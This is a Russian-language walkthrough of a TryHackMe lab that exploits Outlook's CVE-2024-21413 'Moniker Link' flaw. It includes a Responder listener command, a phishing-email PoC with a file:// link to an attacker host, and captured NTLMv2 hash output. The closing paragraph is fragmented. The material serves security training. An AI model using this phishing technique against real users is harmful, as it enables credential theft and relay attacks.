
Прохождение TryHackMe Moniker Link (CVE-2024-21413): обход Protected View в Outlook, приводящий к захвату NTLMv2-хэша через специально созданную moniker-ссылку.
Полное прохождение комнаты TryHackMe «Moniker Link»: использование CVE-2024-21413, уязвимости Microsoft Outlook 2024 года, для кражи NTLMv2-хэша жертвы в тот момент, когда она кликает по ссылке в фишинговом письме — без макроса, без вложения и без явного предупреждения безопасности.
CVE-2024-21413 («Moniker Link») — это уязвимость в том, как Outlook проверяет ссылки file://, использующие синтаксис «моникеров» Windows OLE (завершающий ! после пути, например file://host/share!something). Outlook должен открывать внешние файловые ссылки через Protected View (защищённый просмотр), который изолирует файл в песочнице и предупреждает пользователя до того, как произойдёт утечка учётных данных. Лишний ! ломает собственный URL-парсер Outlook ровно настолько, чтобы полностью пропустить Protected View и передать ссылку напрямую Windows, которая — поскольку ссылка выглядит как UNC-путь — незаметно пытается выполнить SMB-аутентификацию против сервера атакующего. Эта попытка аутентификации раскрывает NTLMv2-хэш жертвы, хотя жертва сделала лишь один клик по обычной с виду ссылке.
| Задача | Цель |
|---|---|
| 1. Разведка | Понять CVE и то, как ошибка разбора ссылки-моникера обходит Protected View |
| 2. Настройка слушателя | Поднять Responder для перехвата исходящей SMB-аутентификации |
| 3. Подготовка эксплойта | Создать фишинговое письмо с вредоносной ссылкой-моникером |
| 4. Доставка | Отправить письмо в почтовый ящик жертвы |
| 5. Захват | Дождаться клика жертвы по ссылке и захватить её NTLMv2-хэш |
responder -I ens5
Responder запускается на интерфейсе машины атакующего до отправки чего-либо, с включёнными отравлением LLMNR, NBT-NS и DNS. Именно он реально захватывает утечку учётных данных: когда эксплойт заставляет Outlook попытаться выполнить SMB-аутентификацию против IP-адреса атакующего, на другом конце для перехвата слушает Responder.

Цель — стандартный почтовый ящик Outlook [email protected], находящийся в обычном виде входящих до прибытия фишингового письма — исходное состояние, от которого отталкивается остальная часть комнаты.

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
Эксплойт (публичный PoC от CMNatic для CVE-2024-21413) — это небольшой Python-скрипт, который формирует и отправляет HTML-письмо по SMTP. Вся нагрузка умещается в одной строке: ссылка <a href="file://...">, указывающая на машину атакующего, с добавленным в конец пути !exploit. Именно этот завершающий ! и есть вся уязвимость — из-за него парсер ссылок Outlook неверно классифицирует URL и пропускает проверку Protected View, которую он в обычном случае применил бы к внешней файловой ссылке.

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
Запуск скрипта выполняет аутентификацию на почтовом сервере и отправляет подготовленное письмо жертве. Сообщение Email delivered подтверждает, что письмо успешно покинуло почтовый ящик атакующего.

Письмо приходит во входящие [email protected] от отправителя CMNatic с темой CVE-2024-21413 и содержит лишь одну гиперссылку с текстом "Click me" — никаких вложений, предупреждений о макросах или чего-либо ещё, что обычно вызвало бы подозрения у антифишингового фильтра или осторожного пользователя.

Клик по ссылке "Click me" вызывает в Outlook диалог ошибки Windows Explorer: "We can't find '\10.113.72.84\test!exploit'. Please make sure you're using the correct location or web address." Эта ошибка на самом деле — доказательство того, что эксплойт уже сработал: к моменту появления диалога Windows уже попыталась разрешить этот UNC-путь по SMB и в процессе уже прошла аутентификацию на 10.113.72.84 (машине атакующего). Видимая ошибка — это лишь неудача Explorer при поиске общего ресурса, который и не должен был существовать; утечка учётных данных произошла незаметно ещё до появления окна с ошибкой.

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
На машине атакующего Responder уже перехватил полное рукопожатие NTLMv2-SSP для THM-MONIKERLINK\tryhackme, пришедшее с адреса 10.113.150.143 (жертва). Ни запроса учётных данных, ни предупреждения безопасности, ни действий пользователя, кроме одного клика по ссылке, выглядевшей обычной, — хэш был готов к взлому или ретрансляции в тот самый момент, когда Outlook неправильно обработал ссылку-моникер.

!) составлял всю уязвимость. CVE-2024-21413 — хорошее напоминание о том, что парсеры URL и путей — частый источник обхода границ безопасности: некорректному входному значению не нужно быть сложным, чтобы проскользнуть мимо проверки, ему достаточно попасть в ветку кода, которую проверка не покрывает.file:// это старая техника; известным этот CVE сделало то, что Outlook вообще не должен был позволять срабатывать такой ссылке без предупреждения.